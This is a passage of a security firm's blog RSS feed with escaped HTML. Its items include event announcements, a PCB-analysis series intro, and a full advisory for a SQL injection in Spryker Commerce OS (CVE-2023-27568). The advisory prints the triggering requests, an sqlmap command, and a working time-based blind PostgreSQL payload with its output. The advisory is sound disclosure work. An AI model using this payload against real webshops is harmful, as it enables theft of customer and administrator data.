class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Detection&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Scheme&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wi-Fi&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Evil&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twin&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Attacks&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, December 2017.&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">Download&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">Matter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">pitfalls&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">as&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf"
class="link-background inline split"
>
&lt;span class="link-label">PDF&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Credits: The elaborations associated with this subject are part of the results of a Master&amp;rsquo;s thesis by Melissa Loos created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in cooperation with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://uni-ulm.de/en/in/vs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ulm&lt;/span>
&lt;/a>&lt;a
href="https://uni-ulm.de/en/in/vs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">University&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/em>&lt;/p></description></item><item><title>SCHUTZWERK at the building IoT 2023</title><link>https://www.schutzwerk.com/en/blog/building-iot-2023/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 25 Apr 2023 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>embedded security</category><description>
&lt;p>SCHUTZWERK will be at the building IoT conference in Munich from April 26 to 27, 2023 giving a talk. Since 2016, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.buildingiot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">building&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IoT&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
has been the meeting place for those who develop software applications and digital products in the Internet of Things and the Industrial Internet of Things.&lt;/p>
&lt;p>On April 27, we will give the talk &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Easy&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">prey&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hackers?&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Finding&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">avoiding&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">typical&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">vulnerabilities&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IoT&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-17784-0-leichte-beute-fuer-hacker-typische-schwachstellen-in-iot-loesungen-finden-und-vermeiden.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">solutions&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, presenting the most common and relevant vulnerabilities in IoT devices from our assessment practice. We will explain the vulnerabilities using real-life practical examples and show how they can be uncovered during &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and thus detected and fixed at an early stage.&lt;/p>
&lt;p>We are looking forward to the on-site exchange on IoT and embedded security. If you would like to make an appointment, please send an email to &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:info@schutzwerk.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">info@schutzwerk.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. We will be on site during the whole conference.&lt;/p></description></item><item><title>Advisory: SQL Injection in Spryker Commerce OS (CVE-2023-27568)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-001/</link><author>David Brown</author><pubDate>Thu, 20 Apr 2023 14:00:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-27568
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-001.txt
Affected products/vendor
========================
Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales: 11.16.0-11.36.1
or spryker-feature/order-management: 202009.0-202212.0
Summary
=======
An SQL injection vulnerability affecting Spryker-based webshops was discovered
in the order history search form. It can be exploited by authenticated
attackers in order to retrieve informationen from the database (e.g. customer
and administrator login information, order details, etc.). Depending on the
configuration of the webshop, access to the file system or even execution of
arbitrary commands on the database management system is possible.
Risk
====
Attackers with valid credentials for Spryker-based webshops are able to exploit
an SQL injection vulnerability in the order history search form. This allows
full access to the application’s database and the data stored within it. This
database will generally contain -- among other information -- personally
identifiable information. Disclosure of such data could lead to reputation
damage for the webshop&amp;#39;s owner. In addition, the vulnerability might also pose
legal risks regarding General Data Protection Regulation (GDPR).
Depending on the configured authentication methods, the database will also
contain login information of customers and administrators. Administrative login
information (i.e. username and password hash) could enable attackers to extend
their privileges and access the shop&amp;#39;s backend, where administrative actions
can be performed. In combination with the vulnerability described in
SCHUTZWERK-SA-2022-003/CVE-2022-28888 [1], remote command execution could also
be feasible from this position if access to the required environment variables
is possible. The login information of customers could be abused by attackers,
for example if credentials are re-used across different services.
Depending on the DBMS (database management system) in use, write access to the
database could theoretically also be possible. In this case, attackers can
create new users and grant them administrative privileges, again allowing for
privilege escalation. Also, once more depending on the DBMS, reading and
writing files on the file system of the DBMS or even direct execution of
arbitrary system commands could be possible.
The vulnerability can be easily detected, even through automated scanners, and
trivially exploited using tools such as sqlmap [2].
Description
===========
Structured Query Language, abbreviated as SQL, is a standardized programming
language for managing data held in a relational database management system and
performing various operations on the data stored in them. SQL injection
vulnerabilities occur when attacker-controlled data is embedded unchecked in
SQL queries. Such vulnerabilities allow attackers to bypass restrictions in the
application logic and issue manipulated queries to the database server.
Depending on various factors (database management system used, database user
permissions, etc.), it may be possible to read, modify and delete data and
compromise the database or application server.
The Spryker-based webshop examined as part of a customer assessment offers an
order history with a list of orders that have been placed in the past. While
testing this function, it was observed that a server-side error condition was
triggered when a single quotation mark (&amp;#39;) was placed in the search term field.
The HTTP request that triggered this error condition is the following
(URL-decoded and shortened for increased readability):
GET /de/customer/order?orderSearchForm[searchType]=all&amp;amp;orderSearchForm[searchText]=&amp;#39;&amp;amp;
orderSearchForm[filters][dateFrom]=&amp;amp;orderSearchForm[filters][dateTo]=&amp;amp;
orderSearchForm[filters][company]=company&amp;amp;buttonSubmit=&amp;amp;orderSearchForm[orderBy]=&amp;amp;
orderSearchForm[orderDirection]=&amp;amp;orderSearchForm[reset]=&amp;amp;
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: &amp;lt;redacted&amp;gt;
Cookie: &amp;lt;redacted&amp;gt;
[...]
If the search term is instead comprised of two single quotation marks, the
server does not return an error message and successfully completes the search
operation:
GET /de/customer/order?orderSearchForm[searchType]=all&amp;amp;orderSearchForm[searchText]=&amp;#39;&amp;#39;&amp;amp;
orderSearchForm[filters][dateFrom]=&amp;amp;orderSearchForm[filters][dateTo]=&amp;amp;
orderSearchForm[filters][company]=company&amp;amp;buttonSubmit=&amp;amp;orderSearchForm[orderBy]=&amp;amp;
orderSearchForm[orderDirection]=&amp;amp;orderSearchForm[reset]=&amp;amp;
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: &amp;lt;redacted&amp;gt;
Cookie: &amp;lt;redacted&amp;gt;
[...]
This behavior with respect to the single quotation mark is often an indicator
of SQL injection vulnerabilities. As a next step, the sqlmap [2] utility was
used to partly automate the verification and exploitation phase:
% cat search.req
GET /de/customer/order?orderSearchForm%5BsearchType%5D=all&amp;amp;orderSearchForm%5BsearchText%5D=test*
&amp;amp;orderSearchForm%5Bfilters%5D%5BdateFrom%5D=&amp;amp;orderSearchForm%5Bfilters%5D%5BdateTo%5D=&amp;amp;
orderSearchForm%5Bfilters%5D%5Bcompany%5D=company&amp;amp;buttonSubmit=&amp;amp;orderSearchForm%5BorderBy%5D=&amp;amp;
orderSearchForm%5BorderDirection%5D=&amp;amp;orderSearchForm%5Breset%5D=&amp;amp;
orderSearchForm%5B_token%5D=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: &amp;lt;redacted&amp;gt;
Cookie: &amp;lt;redacted&amp;gt;
% sqlmap -r search.req --force-ssl --current-db
[...]
[10:37:12] [INFO] parsing HTTP request from &amp;#39;search.req&amp;#39;
custom injection marker (&amp;#39;*&amp;#39;) found in option &amp;#39;-u&amp;#39;. Do you want to process it? [Y/n/q]
[10:37:12] [INFO] testing connection to the target URL
[...]
Parameter: #1* (URI)
Type: time-based blind
Title: PostgreSQL &amp;gt; 8.1 AND time-based blind
Payload: https://&amp;lt;redacted&amp;gt;:443/de/customer/order?orderSearchForm[searchType]
=all&amp;amp;orderSearchForm[searchText]=test&amp;#39;)) AND 2882=(SELECT 2882 FROM PG_SLEEP(5)) AND
((&amp;#39;yIoB&amp;#39;=&amp;#39;yIoB&amp;amp;orderSearchForm[filters][dateFrom]=&amp;amp;orderSearchForm[filters][dateTo]=&amp;amp;
orderSearchForm[filters][company]=company&amp;amp;buttonSubmit=&amp;amp;orderSearchForm[orderBy]=&amp;amp;
orderSearchForm[orderDirection]=&amp;amp;orderSearchForm[reset]=&amp;amp;
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A
[10:37:14] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL (CockroachDB fork)
[10:37:14] [INFO] fetching current database
[...]
public
current database (equivalent to schema on PostgreSQL): &amp;#39;public&amp;#39;
[...]
The URL parameter orderSearchForm[searchText] was marked with an asterisk in
the request to force sqlmap to focus on this parameter. sqlmap confirmed the
vulnerability and successfully extracted the name of the current database as
&amp;#34;public&amp;#34;. Time-based blind SQL injection vulnerabilities are notoriously slow
to exploit. Nonetheless, it was still possible to extract the following list of
tables contained in the current database:
+--------------------------------------------------+
[...]
| spy_acl_group |
| spy_acl_group_archive |
| spy_acl_groups_has_roles |
| spy_acl_role |
| spy_acl_role_archive |
| spy_acl_rule |
| spy_acl_rule_archive |
| spy_acl_user_has_group |
| spy_auth_reset_password |
| spy_auth_reset_password_archive |
| spy_availability |
| spy_availability_abstract |
| spy_availability_storage |
[...]
+--------------------------------------------------+
Using the same method, access to the content of the different database tables
is possible.
Solution/Mitigation
===================
Updated versions of the affected modules have been released by the vendor and
should be applied.
In general, the following mitigation measures apply to SQL injection
vulnerabilities:
It is recommended to use so-called prepared statements with parameterized
queries. With this mechanism, user input is strictly separated from the actual
SQL query. It is then processed only as a string and not as part of the SQL
query. This makes it impossible for an attacker to modify the query itself.
The entire code base should be audited to determine at which other endpoints
SQL queries are generated and used. This should be followed by a migration to
prepared statements. The adaptation should be prioritized based on the risk.
For example, the risk of successful exploitation is significantly higher in the
login screen than in an administrative function that is not visible to normal
users of the application. Accordingly, the source code of the exposed functions
should be adapted first.
In some cases, parameterized queries cannot be used, for example, when the data
fields addressed by the query are dynamic. In such cases, frameworks, database
APIs, or the programming language itself provide functions that mask the inputs
appropriately so that they can be embedded in queries in a safe way. The SQL
injection security guidelines [3] of Spryker should also be considered.
Additional guidelines and recommendations regarding SQL injection are provided
in the SQL Injection Prevention Cheat Sheet [4] of OWASP.
Disclosure timeline
===================
2022-11-25: Vulnerability discovered as part of assessment for customer
2022-12-23: Vulnerablity details sent to vendor, vendor could not open details
due to S/MIME-related issues
2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form
2023-01-09: Vendor acknowledges receipt of report
2023-01-12: Vendor requests additional information related to customer&amp;#39;s
configuration, SCHUTZWERK provides requested information
2023-01-13: Vendor requests additional information related to customer&amp;#39;s
configuration
2023-01-16: SCHUTZWERK provides requested information
2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the
vulnerability and that a fix is in progress
2022-02-28: Vendor confirms that customers were notified about the vulnerability
2023-04-19: Vendor informed of intent to pushlish
2023-04-20: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by David Brown of
SCHUTZWERK GmbH.
References
==========
[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2022-003/
[2] https://github.com/sqlmapproject/sqlmap
[3] https://docs.spryker.com/docs/scos/dev/guidelines/security-guidelines.html#sql-injection
[4] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website
( https://www.schutzwerk.com ).
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRBN4IaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLruBixAAoq+FOe1zpWgek8vhcTO4
HiOIjTJJwKy+TTt12Av7iMN2vwmqEwB49iN9legPCAGZ43i7j2m+lxuYC25p2dF9
q6UZPW3fdbX1mbWrWOx/lM0EJdFjkSWkgSo4oSmpLK4Tra3Ox/6zwPgcVifMe9Ky
JJC2jHHw1gHjORUM3FmMmbDDcXEhfZTs94Dy+GdjpapsZiO7wZyq8XTTQHMTDWCZ
elhTW8NKaPiAzu1yfjB80U/lvV8rfoL0ud1pHC2Pz3bUxybXgNVXpNTrpWrGjj7j
NEhlkq7va0thyNF1nXsAzD7sjeNKIJ4xkA4WNmv+J7NJEiHttbGkiMQHH8cEMmBM
Q1Gn1orb+96NB0KtiyvlWMxkNPhnfJdgMMRbHWpSLrscaiEvECpHyOD6GrRz7/bc
RztvsBpSp/OeNGPesgVaokYJctJzuCD+EKgExxcfDGN2w58YTnaCZ4JGi+8jsrbY
GAp22fl4xBLhsoKOi8h4HufXQ1hYT8duGJ2BLqDHEelPidx+Yk4ssMmtvqtMtq5+
rL3iZiXyOmc0bqTU4X9rPFabMyK9II7aVNHrNQ/8MEFYo04LGLzNvwgDNCQY9MM5
tIzT/ATf7dB8Fy+/yKGDAteELzS2PkTjwv6sIeW6SZNGoz6g/Mt/S+yzPQnmGMjI
EYeXWOAZib8rqZC/UeSqlz4=
=6t5G
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>SCHUTZWERK sponsors the GERMAN OWASP DAY 2023</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sponsor-german-owasp-day-2023/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 10 Mar 2023 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><description>
&lt;p>After a pause of several years the GERMAN OWASP DAY 2023 will take place in Frankfurt on the 30th and 31st of May 2023. SCHUTZWERK is an official sponsor of the event.&lt;/p>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://god.owasp.de/2023/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GERMAN&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2023/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2023/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">DAY&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2023/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2023&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
will be hosted by the German OWASP Chapter. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting talks about secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented. We are looking forward to an interesting exchange on site.&lt;/p></description></item><item><title>Automated Voltage Signal Analysis and Protocol Identification</title><link>https://www.schutzwerk.com/en/blog/proboter-04/</link><author>Florian Schmid</author><pubDate>Wed, 08 Mar 2023 11:20:40 +0100</pubDate><category>proboter</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><description>
&lt;script type="text/javascript"
src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
&lt;/script>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the PROBoter series gave an insight on the automatic optical analysis for components mounted on the PCB. It introduced how the PROBoter attempts to localize all pins and components on the PCB.&lt;/p>
&lt;p>This post focuses on the evaluation of voltage data measured on an operating PCB to gather information on the functionality and occurring communication. The list below gives an overview of the topics covered in this blog post series. The last link will be updated as soon as the corresponding part has been released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
